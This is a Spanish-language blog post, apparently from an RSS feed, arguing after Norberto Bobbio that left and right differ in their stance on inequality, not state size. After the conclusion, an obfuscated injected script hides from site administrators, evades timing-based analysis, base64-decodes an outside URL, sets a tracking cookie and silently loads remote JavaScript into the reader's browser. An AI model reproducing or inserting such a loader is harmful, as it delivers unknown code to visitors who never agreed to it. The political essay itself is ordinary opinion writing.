<p>Si el tamaño del Estado fuera lo que definiera ser de izquierda o derecha, llegaríamos a conclusiones absurdas como:</p>
<ul data-spread="false">
<li>
<p>El comunismo solo sería de izquierda radical en su etapa intermedia cuando necesita un Estado muy grande, para luego convertirse en ultraderecha al abolir dicho Estado.</p>
</li>
<li>
<p>Todos los anarquismos serían considerados de ultraderecha.</p>
</li>
<li>
<p>Donald Trump sería clasificado como "de izquierda" por establecer aranceles e incluso controles de precios.</p>
</li>
</ul>
<p>Por supuesto, esto conduce a que algunos intenten afirmar que el fascismo y el nazismo son de izquierda. Pero esta es simplemente una estrategia retórica para diferenciar entre "nosotros" (los buenos defensores de la libertad) y "ellos" (los malos y opresores). Conceptualmente, esta postura no se sostiene.</p>
<p>¿Por qué?</p>
<p>Porque tanto el fascismo como el nazismo no solo toleraron, sino que promovieron activamente la desigualdad en términos de nacionalidad, raza, jerarquías sociales y un largo etcétera.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-22874" src="https://elcerebrohabla.com/wp-content/uploads/Captura-de-pantalla-2025-08-03-195640.jpg" alt="" width="2128" height="1429" srcset="https://elcerebrohabla.com/wp-content/uploads/Captura-de-pantalla-2025-08-03-195640.jpg 2128w, https://elcerebrohabla.com/wp-content/uploads/Captura-de-pantalla-2025-08-03-195640-1280x860.jpg 1280w, https://elcerebrohabla.com/wp-content/uploads/Captura-de-pantalla-2025-08-03-195640-980x658.jpg 980w, https://elcerebrohabla.com/wp-content/uploads/Captura-de-pantalla-2025-08-03-195640-480x322.jpg 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 2128px, 100vw" /></p>
<p data-pm-slice="1 1 []">Algunos dirán que el fascismo, el nazismo y el comunismo, ideologías que en la práctica generaron graves daños a la humanidad en la época moderna, se parecen bastante entre sí. Y en eso tienen razón: esta similitud se explica a través de la famosa teoría de la herradura, según la cual los extremos ideológicos tienden a parecerse más entre sí que a las posturas moderadas. Ambos extremos son represivos y estatistas, pero una sigue siendo de izquierda (izquierda radical) y otra de derecha (extrema derecha) porque una busca la igualdad absoluta mientras la otra celebra la desigualdad.</p>
<p>Incluso hoy podemos observar cómo las izquierdas más "woke" y las derechas más identitarias (como muchas facciones trumpistas) comienzan a parecerse en sus métodos e identitarismo conforme se acercan a los extremos.</p>
<p>Luego está la noción generalizada de que la derecha es afín al mercado mientras que la izquierda desconfía más de él. Algunos incluso intentan sostener, de manera tramposa, que el libre mercado es "fascista", cuando en realidad fascismo y libre mercado son prácticamente incompatibles. Aunque ciertamente esta diferenciación ha sido constante durante las últimas décadas y durante la Guerra Fría, ni siquiera eso termina por definir esencialmente a izquierda y derecha.</p>
<p>De hecho, durante la Revolución Francesa la izquierda (especialmente los girondinos) simpatizaba más con la economía de mercado que la derecha, que defendía los privilegios del clero y la nobleza. La combinación de libertad e igualdad en un mismo lema ("Liberté, Egalité, Fraternité") no resultaba en absoluto contradictoria como hoy algunos sugieren.</p>
<p>Incluso actualmente, observamos un mayor intervencionismo económico en algunos gobiernos de derecha (como el de Trump) que en ciertos regímenes de izquierda socioliberal. A excepción quizás de Javier Milei (quien podría definirse más como ultraliberal que ultraderechista), las nuevas derechas (Vox en España, Orbán en Hungría, Trump en EE.UU.) suelen ser más intervencionistas en la economía que las derechas neoliberales inspiradas en Thatcher o Reagan.</p>
<h2>Conclusión:</h2>
<p data-pm-slice="1 1 []">Por supuesto, es evidente que izquierda y derecha tienen muchas ramificaciones tanto históricas como contemporáneas, y que en cada espectro hay diferencias internas y contradicciones. También es claro que un grupo político se define mejor por lo que persigue ideológicamente que por su congruencia absoluta en la práctica: un gobierno de izquierda cuyos líderes vivan como millonarios sigue siendo de izquierda si sus políticas buscan teóricamente mayor igualdad.</p>
<p>Finalmente, si bien hay otras formas útiles para conceptualizar las orientaciones políticas (estatismo-libertad económica, autoritarismo-liberalismo, progresismo-conservadurismo, materialismo-posmaterialismo, nacionalismo-globalismo), la manera más sólida de definir la izquierda y la derecha sigue siendo, en mi opinión, la de Norberto Bobbio: la izquierda busca reducir la desigualdad, mientras la derecha tolera o incluso justifica la desigualdad.</p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="https://elcerebrohabla.com/2025/08/03/por-que-seguimos-hablando-de-izquierda-y-derecha/">¿Por qué seguimos hablando de izquierda y derecha?</a> first appeared on <a href="https://elcerebrohabla.com">El Cerebro Habla</a>.</p>]]></content:encoded>
					
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